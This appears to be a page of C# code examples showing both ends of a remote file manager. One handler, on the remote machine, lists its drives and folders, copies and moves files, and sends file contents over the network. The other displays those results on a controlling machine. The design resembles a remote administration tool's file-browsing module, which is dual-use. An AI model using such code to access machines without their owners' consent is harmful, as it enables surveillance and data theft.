Пример #1
0
        public static void Handle(IClient c, object[] data)
        {
            FileManagerCommand command = (FileManagerCommand)data[1];

            if (command == FileManagerCommand.DownloadInvalid)
            {
                string downloadHandle = (string)data[2];
                if (!DownloadHandler.ContainsKey(downloadHandle))
                {
                    return;
                }
                MessageBox.Show("Download is invalid: \n" + (string)data[3]);
                DownloadHandler[downloadHandle].Stream.Close();
                DownloadHandler[downloadHandle].Stream.Dispose();
                DownloadHandler.Remove(downloadHandle);
            }

            if (command == FileManagerCommand.DownloadBlock)
            {
                string downloadHandle = (string)data[2];
                if (!DownloadHandler.ContainsKey(downloadHandle))
                {
                    return;
                }
                byte[] block      = (byte[])data[3];
                bool   finalBlock = (bool)data[4];
                DownloadHandler[downloadHandle].Stream.Write(block, 0, block.Length);
                if (finalBlock)
                {
                    DownloadHandler[downloadHandle].Stream.Close();
                    DownloadHandler[downloadHandle].Stream.Dispose();
                    DownloadHandler[downloadHandle].Stream = null;
                    MessageBox.Show(string.Format("Download Complete!\nLocation: {0}", DownloadHandler[downloadHandle].DownloadLocation));
                    DownloadHandler.Remove(downloadHandle);
                }
            }
            if (FormHandler.ContainsKey(c.ID))
            {
                Console.WriteLine("FM: {0}", command.ToString());
                if (command == FileManagerCommand.CopyResponce)
                {
                    FormHandler[c.ID].HandleCopyResponce((Guid)data[2], (bool)data[3]);
                }
                if (command == FileManagerCommand.MoveResponce)
                {
                    FormHandler[c.ID].HandleMoveResponce((Guid)data[2], (bool)data[3]);
                }
                if (command == FileManagerCommand.PropertiesResponce)
                {
                    FormHandler[c.ID].HandleProperties(data);
                }

                if (command == FileManagerCommand.DriveResponce)
                {
                    string[] drives      = (string[])data[2];
                    string[] driveSizes  = (string[])data[3];
                    string[] driveLabels = (string[])data[4];

                    FormHandler[c.ID].BeginUpdate(false, string.Empty);

                    for (int i = 0; i < drives.Length; i++)
                    {
                        FormHandler[c.ID].AddDrive(drives[i], driveSizes[i], driveLabels[i]);
                    }
                }
                if (command == FileManagerCommand.DirectoryResponce)
                {
                    string[] folders     = (string[])data[2];
                    bool[]   folderEmpty = (bool[])data[3];
                    string[] files       = (string[])data[4];
                    string[] filesizes   = (string[])data[5];

                    FormHandler[c.ID].BeginUpdate(true, (string)data[6]);

                    for (int i = 0; i < folders.Length; i++)
                    {
                        FormHandler[c.ID].AddDirectory(folders[i], folderEmpty[i]);
                    }

                    for (int i = 0; i < files.Length; i++)
                    {
                        FormHandler[c.ID].AddFile(files[i], filesizes[i]);
                    }
                }
                if (command == FileManagerCommand.Invalid)
                {
                    FormHandler[c.ID].BeginUpdate(true, (string)data[3]);
                    FormHandler[c.ID].InvalidDirectory((string)data[2]);
                }
            }
        }
Пример #2
0
        public static void Handle(object[] data)
        {
            FileManagerCommand command = (FileManagerCommand)data[1];

            Console.WriteLine("File Manager: {0}", command.ToString());

            if (command == FileManagerCommand.ForceMoveFile || command == FileManagerCommand.MoveFile)
            {
                HandleMove(data);
            }
            if (command == FileManagerCommand.CopyFile)
            {
                HandleCopy(data);
            }
            if (command == FileManagerCommand.GetFileProperties)
            {
                GetFileProperties((Guid)data[2], (string)data[3]);
            }

            if (command == FileManagerCommand.StartDownload)
            {
                string handle = (string)data[2];
                string path   = (string)data[3];
                try
                {
                    using (FileStream fs = new FileStream(path, FileMode.Open, FileAccess.Read))
                    {
                        if (fs.Length > 10000) //10kb
                        {
                            throw new Exception("File Too big");
                        }
                        byte[] buffer    = new byte[1000];
                        int    bytesread = 0;
                        while ((bytesread = fs.Read(buffer, 0, buffer.Length)) > 0)
                        {
                            byte[] block = new byte[bytesread];
                            Buffer.BlockCopy(buffer, 0, block, 0, bytesread);
                            NetworkHost.Send((byte)NetworkCommand.FileManager, (byte)FileManagerCommand.DownloadBlock, handle, block, fs.Position == fs.Length);
                        }
                    }
                }
                catch (Exception ex)
                {
                    NetworkHost.Send((byte)NetworkCommand.FileManager, (byte)FileManagerCommand.DownloadInvalid, handle, ex.Message);
                }
            }

            if (command == FileManagerCommand.Update || command == FileManagerCommand.UpdateToSpecialFolder)
            {
                string path = string.Empty;
                if (command == FileManagerCommand.Update)
                {
                    path = (string)data[2];
                }
                if (command == FileManagerCommand.UpdateToSpecialFolder)
                {
                    path = Environment.GetFolderPath((Environment.SpecialFolder)data[2]);
                }


                if (path == string.Empty)
                {
                    DriveInfo[] driveArray  = DriveInfo.GetDrives();
                    string[]    drives      = new string[driveArray.Length];
                    string[]    DriveSizes  = new string[driveArray.Length];
                    string[]    DriveLabels = new string[driveArray.Length];

                    for (int i = 0; i < drives.Length; i++)
                    {
                        try
                        {
                            drives[i] = driveArray[i].Name;

                            if (driveArray[i].IsReady)
                            {
                                long   len = driveArray[i].TotalSize;
                                string ext = "b";
                                if ((len / 1000) > 0)
                                {
                                    len = len / 1000;
                                    ext = "KB";
                                    if ((len / 1000) > 0)
                                    {
                                        len = len / 1000;
                                        ext = "MB";
                                        if ((len / 1000) > 0)
                                        {
                                            len = len / 1000;
                                            ext = "GB";
                                            if ((len / 1000) > 0)
                                            {
                                                len = len / 1000;
                                                ext = "TB";
                                            }
                                        }
                                    }
                                }
                                DriveSizes[i]  = string.Format("{0} {1}", len, ext);
                                DriveLabels[i] = driveArray[i].VolumeLabel;
                            }
                            else
                            {
                                DriveLabels[i] = driveArray[i].DriveType.ToString();
                                DriveSizes[i]  = "";
                            }
                        }
                        catch (Exception ex)
                        {
                            drives[i]      = "Unknowen.";
                            DriveSizes[i]  = ex.Message;
                            DriveLabels[i] = "Error";
                        }
                    }
                    NetworkHost.Send((byte)NetworkCommand.FileManager, (byte)FileManagerCommand.DriveResponce, drives, DriveSizes, DriveLabels, path);
                }
                else
                {
                    try
                    {
                        DirectoryInfo   di    = new DirectoryInfo(path);
                        FileInfo[]      Files = di.GetFiles();
                        DirectoryInfo[] dirs  = di.GetDirectories();

                        string[] directoryNames = new string[dirs.Length];
                        bool[]   DirectroyEmpty = new bool[dirs.Length];
                        string[] filenames      = new string[Files.Length];
                        string[] filesizes      = new string[Files.Length];

                        for (int i = 0; i < directoryNames.Length; i++)
                        {
                            directoryNames[i] = dirs[i].Name;
                            try
                            {
                                DirectroyEmpty[i] = dirs[i].GetDirectories().Length < 1 && dirs[i].GetFiles().Length < 1; //Need to improve this
                            }
                            catch
                            {
                                DirectroyEmpty[i] = true;
                            }
                        }
                        for (int i = 0; i < filenames.Length; i++)
                        {
                            filenames[i] = Files[i].Name;
                            long   len = Files[i].Length;
                            string ext = "b";
                            if ((len / 1000) > 0)
                            {
                                len = len / 1000;
                                ext = "KB";
                                if ((len / 1000) > 0)
                                {
                                    len = len / 1000;
                                    ext = "MB";
                                    if ((len / 1000) > 0)
                                    {
                                        len = len / 1000;
                                        ext = "GB";
                                    }
                                }
                            }
                            filesizes[i] = string.Format("{0} {1}", len, ext);
                        }

                        NetworkHost.Send((byte)NetworkCommand.FileManager, (byte)FileManagerCommand.DirectoryResponce, directoryNames, DirectroyEmpty, filenames, filesizes, path);
                    }
                    catch (Exception ex)
                    {
                        NetworkHost.Send((byte)NetworkCommand.FileManager, (byte)FileManagerCommand.Invalid, ex.Message, path);
                    }
                }
            }
        }